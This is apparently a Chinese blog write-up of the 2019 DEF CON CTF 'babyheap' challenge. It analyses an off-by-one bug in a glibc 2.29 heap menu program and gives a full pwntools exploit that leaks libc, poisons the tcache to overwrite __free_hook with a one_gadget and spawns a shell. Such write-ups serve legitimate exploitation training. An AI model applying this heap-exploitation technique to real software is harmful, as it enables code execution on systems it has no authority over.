2019-DEFCON-CTF-babyheap

  1. 分析
  2. 思路
  3. exp
  4. 参考

分析

环境是2.29,菜单堆,开了PIE。

堆块最多可以开辟十个,size只有两种方式:

if ( size - 1 > 0x177 )
    return 0xFFFFFFFDLL;
if ( size <= 0xF8 )
    chunkbss_qword_4060[2 * i] = malloc(0xF8uLL);
else
    chunkbss_qword_4060[2 * i] = malloc(0x178uLL);

读入数据的时候存在off-by-one

__printf_chk(1LL, "Content:\n> ");
read(0, &chr, 1uLL);
off = 0LL;
ptr = &chunkbss_qword_4060[2 * i];
while ( chr != '\n' && chr )
{
    (*ptr)[off] = chr;
    read(0, &chr, 1uLL);
    if ( size == off )
        return 0LL;
    ++off;
}

free函数没问题。

存在show函数(好不习惯,好久都没见过带show的了),可以考虑用来泄露。

思路

2.29下会对tcache进行遍历对应tcache_entry链的检查来杀死double free,同时还有干掉off-by-null的一个检测,其他的暂时还没接触。

首先要考虑的就是泄露libc,因为有show的缘故,所以直接就可以泄露了

exp

from pwn_debug import *
from pwn import success

pd = pwn_debug("./babyheap")
pd.context.terminal=['tmux', 'splitw', '-h']
#pd.context.log_level = "debug"

pd.local("./libc.so", "/glibc/x64/2.29/lib/ld-2.29.so")
pd.debug("2.29")

p = pd.run("local")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def choose(idx):
    sla("> ", idx)

def malloc(size, ctx):
    choose("M")
    sla("> ", str(size))
    sla("> ", ctx)

def free(idx):
    choose("F")
    sla("> \n", str(idx))

def show(idx):
    choose("S")
    sla("> ", str(idx))

pd.bp(watch=[0x4060])

malloc(0xf8, "1")
malloc(0xf8, "1")

malloc(0x178, "a"*0x78+"\x01\x01")
for i in range(7):
    malloc(0x178, "2")

for i in range(3, 10):
    free(i)

free(0)
malloc(0xf8, "a"*0xf8+"\x81")
free(1)
malloc(0xf8, "")
show(2)

leak = u64(p.recvuntil("\x7f").ljust(8, "\x00"))
success(hex(leak))
success(hex(leak-pd.membp.libc_base))
libc_base = leak-0x1e4ca0
success(hex(libc_base))
pd.membp.libc_base = pd.libc.address = libc_base

malloc(0x178, "b")
malloc(0x178, "b")
malloc(0xf8, "c")
malloc(0xf8, "c")
malloc(0xf8, "c")

free(6)
malloc(0xf8, "a"*0xf8+"\x81")
free(7)

free(5)
malloc(0xf8, "a"*0xf8+"\x81")
free(6)

malloc(0x178, "a"*0x100+p64(pd.libc.sym['__free_hook'])[:-2])
malloc(0x178, "a")

one = pd.one_gadget()
malloc(0x178, p64(one[1])[:-2])

free(0)

p.interactive()

参考

https://m.blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221539019506&proxyReferer=https%3A%2F%2Fwww.google.com%2F

https://www.nullbyte.cat/post/babyheap-def-con-ctf-qualifier-2019/#challenge-solution

https://lanph3re.github.io/defcon2019babyheap


connect 1037178204@qq.com

文章标题:2019-DEFCON-CTF-babyheap

本文作者:t1an5t

发布时间:2020-02-09, 11:19:00

最后更新:2020-02-29, 21:33:16

原始链接:http://yoursite.com/2019-DEFCON-CTF-babyheap/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录